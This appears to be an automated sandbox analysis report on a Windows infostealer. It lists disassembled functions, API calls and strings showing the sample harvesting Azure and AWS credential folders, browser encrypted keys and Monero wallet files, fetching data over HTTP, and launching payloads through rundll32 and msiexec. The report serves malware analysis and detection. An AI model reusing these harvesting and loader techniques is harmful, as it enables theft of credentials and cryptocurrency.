Opcode ID: 7bd2a4d16efea06eba6c3a45751f744eba5190e7071d4b5181cf9ff292e4c1bf
Instruction ID: cd05114e574cbd3458036e470b5596fc997e9941d6268d8b00a88f313cbd014b
Opcode Fuzzy Hash: 7bd2a4d16efea06eba6c3a45751f744eba5190e7071d4b5181cf9ff292e4c1bf
Instruction Fuzzy Hash: 84E10C76800148AACB19EBA0DC95FEE77B8EF54300F44516AF50673291DE706B8BCB65

Function 00ED8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

RegOpenKeyExA.ADVAPI32(00000000,01B8AEC0,00000000,00020019,00000000,00EE05B6), ref: 00ED83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00ED8426
wsprintfA.USER32 ref: 00ED8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00ED847B
RegCloseKey.ADVAPI32(00000000), ref: 00ED848C
RegCloseKey.ADVAPI32(00000000), ref: 00ED8499

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Strings

%s\%s, xrefs: 00ED844D
?, xrefs: 00ED837A
- , xrefs: 00ED85A3

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e750ccd1c1aab1bb93e721dc1c5e55d744765a13c98ff12fe24093aa089ebaba
Instruction ID: 5431431c43f89785cadc67b314f2dbcd9b8f9b1cf9b0500426d2e143c2dff626
Opcode Fuzzy Hash: e750ccd1c1aab1bb93e721dc1c5e55d744765a13c98ff12fe24093aa089ebaba
Instruction Fuzzy Hash: 26811E719102189BDB29DF50DD95FEA77B8FF48700F0092AAE509A6240DF716B86CF94

Function 00ED4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00ED4DCD

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED492C
Part of subcall function 00ED4910: FindFirstFileA.KERNEL32(?,?), ref: 00ED4943

lstrcat.KERNEL32(?,00000000), ref: 00ED4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00ED4E59

Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
Part of subcall function 00ED4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
Part of subcall function 00ED4910: FindClose.KERNEL32(000000FF), ref: 00ED4B92

lstrcat.KERNEL32(?,00000000), ref: 00ED4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00ED4EE5

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED49B0
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE08D2), ref: 00ED49C5
Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED49E2
Part of subcall function 00ED4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00ED4A1E
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,01B8E360), ref: 00ED4A4A
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00EE0FF8), ref: 00ED4A5C
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,?), ref: 00ED4A70
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00EE0FFC), ref: 00ED4A82
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,?), ref: 00ED4A96
Part of subcall function 00ED4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00ED4AAC
Part of subcall function 00ED4910: DeleteFileA.KERNEL32(?), ref: 00ED4B31

Strings

\.IdentityService\, xrefs: 00ED4ED9
Azure\.azure, xrefs: 00ED4DD3
Azure\.IdentityService, xrefs: 00ED4EEB
\.azure\, xrefs: 00ED4DC1
msal.cache, xrefs: 00ED4EF0
\.aws\, xrefs: 00ED4E4D
*.*, xrefs: 00ED4E64
*.*, xrefs: 00ED4DD8
Azure\.aws, xrefs: 00ED4E5F

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 97810b2c89f941123e0978de14277f2ce1df51b6d9bfc7cdd1d93d46e53bac75
Instruction ID: 4ce3c7f2187fcee8ae73bc33c97e893502b27c455addbcdd9f04cccda05a62cd
Opcode Fuzzy Hash: 97810b2c89f941123e0978de14277f2ce1df51b6d9bfc7cdd1d93d46e53bac75
Instruction Fuzzy Hash: 6C41D6BA94030867CB14F770EC47FED3378AB60700F0055A57289721C1EDB59BCA8B92

Function 00ED9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00ED906C

Strings

image/jpeg, xrefs: 00ED9136

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 537c281c599cc3a510d2f74254b06b812795a81b0334b68c2407327a6d2df57d
Instruction ID: fed37d08e9ca6a097c4e21ee18005ed1984b36c4592e905516235c0edcd39c0e
Opcode Fuzzy Hash: 537c281c599cc3a510d2f74254b06b812795a81b0334b68c2407327a6d2df57d
Instruction Fuzzy Hash: 3771ED75D10208ABDB18DBE4ED89FEEB7B8FF48300F108519F516A7284DB75A945CB60

Function 00ED2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

ShellExecuteEx.SHELL32(0000003C), ref: 00ED31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00ED335D
ShellExecuteEx.SHELL32(0000003C), ref: 00ED34EA

Strings

<, xrefs: 00ED3490
.dll, xrefs: 00ED31E5
.msi, xrefs: 00ED3398
C:\Windows\system32\msiexec.exe, xrefs: 00ED34BF
/i ", xrefs: 00ED33E4
"" , xrefs: 00ED309A
/passive, xrefs: 00ED345B
C:\Windows\system32\rundll32.exe, xrefs: 00ED3332

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 3260ee8560272c4d04b0f4f6fedf932b5d03413cedf8dd4b264bb3c11562aff3
Instruction ID: ec3daabb3cc6a394333b299ec62dc525e10d136d909461e1f71274cbc2a073a9
Opcode Fuzzy Hash: 3260ee8560272c4d04b0f4f6fedf932b5d03413cedf8dd4b264bb3c11562aff3
Instruction Fuzzy Hash: 66123E768001089ADB19EBA0DD96FEDB7B8EF54300F44516AF50676291EF702B4BCF62

Function 00ED52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC6280: InternetOpenA.WININET(00EE0DFE,00000001,00000000,00000000,00000000), ref: 00EC62E1
Part of subcall function 00EC6280: StrCmpCA.SHLWAPI(?,01B8E220), ref: 00EC6303
Part of subcall function 00EC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC6335
Part of subcall function 00EC6280: HttpOpenRequestA.WININET(00000000,GET,?,01B8DA10,00000000,00000000,00400100,00000000), ref: 00EC6385
Part of subcall function 00EC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC63BF
Part of subcall function 00EC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC63D1

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5318
lstrlen.KERNEL32(00000000), ref: 00ED532F

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00ED5364
lstrlen.KERNEL32(00000000), ref: 00ED5383
lstrlen.KERNEL32(00000000), ref: 00ED53AE

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

ERROR, xrefs: 00ED53B9
ERROR, xrefs: 00ED54A9
ERROR, xrefs: 00ED546F
ERROR, xrefs: 00ED5432
ERROR, xrefs: 00ED530A

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 6003f5154008f1a1d9abce5da5bedc0c847510fcf0cf34bf28f48ae86f731101
Instruction ID: c969cae39c75680c89c285a39789b514df2aa7cc9976e1518805f19083ef298f
Opcode Fuzzy Hash: 6003f5154008f1a1d9abce5da5bedc0c847510fcf0cf34bf28f48ae86f731101
Instruction Fuzzy Hash: 8A511B359101489BCB18FF64D996AED77B9EF10300F54602AF8067A292EF346B47DB62

Function 00ED12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: dff6ca99cc3e0670e132e871b64810bef6445bde43fc8f48c0b63c93ef4db250
Instruction ID: c28c2c242354d2b73cd32626e9f9e6216c092ce3da464a4e985d07e1f8de68a7
Opcode Fuzzy Hash: dff6ca99cc3e0670e132e871b64810bef6445bde43fc8f48c0b63c93ef4db250
Instruction Fuzzy Hash: EAC196B5D002199BCB18EF60DC89FDA73B8FF54304F0455AAF50A77241EA70AA86CF91

Function 00ED4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED42EC
lstrcat.KERNEL32(?,01B8DE30), ref: 00ED430B
lstrcat.KERNEL32(?,?), ref: 00ED431F
lstrcat.KERNEL32(?,01B8CE98), ref: 00ED4333

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00ED8D90: GetFileAttributesA.KERNEL32(00000000,?,00EC1B54,?,?,00EE564C,?,?,00EE0E1F), ref: 00ED8D9F

Part of subcall function 00EC9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EC9D39

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED93C0: GlobalAlloc.KERNEL32(00000000,00ED43DD,00ED43DD), ref: 00ED93D3

StrStrA.SHLWAPI(?,01B8DFB0), ref: 00ED43F3
GlobalFree.KERNEL32(?), ref: 00ED4512

Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9AEF
Part of subcall function 00EC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B01
Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9B2A
Part of subcall function 00EC9AC0: LocalFree.KERNEL32(?,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B3F

lstrcat.KERNEL32(?,00000000), ref: 00ED44A3
StrCmpCA.SHLWAPI(?,00EE08D1), ref: 00ED44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00ED44D2
lstrcat.KERNEL32(00000000,?), ref: 00ED44E5
lstrcat.KERNEL32(00000000,00EE0FB8), ref: 00ED44F4

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: cf1e56eff342d55e324d03721c3bdc29789550e02413e674e95a6deb4d111f09
Instruction ID: 5cccb715076cd7db99bd43f69d829d861c5fe5c9acf127878e033eb582657fcc
Opcode Fuzzy Hash: cf1e56eff342d55e324d03721c3bdc29789550e02413e674e95a6deb4d111f09
Instruction Fuzzy Hash: 5F7177B6D00208ABCB14EBB0EC89FED73B9BF48300F045599F615A7181DA75DB56CB91

Function 00EC1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EC12B4
Part of subcall function 00EC12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00EC12BB
Part of subcall function 00EC12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00EC12D7
Part of subcall function 00EC12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EC12F5
Part of subcall function 00EC12A0: RegCloseKey.ADVAPI32(?), ref: 00EC12FF

lstrcat.KERNEL32(?,00000000), ref: 00EC134F
lstrlen.KERNEL32(?), ref: 00EC135C
lstrcat.KERNEL32(?,.keys), ref: 00EC1377

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,01B89EE8,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00EC1465

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

DeleteFileA.KERNEL32(00000000), ref: 00EC14EF

Strings

\Monero\wallet.keys, xrefs: 00EC138D
SOFTWARE\monero-project\monero-core, xrefs: 00EC1335
wallet_path, xrefs: 00EC1330
.keys, xrefs: 00EC136B

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
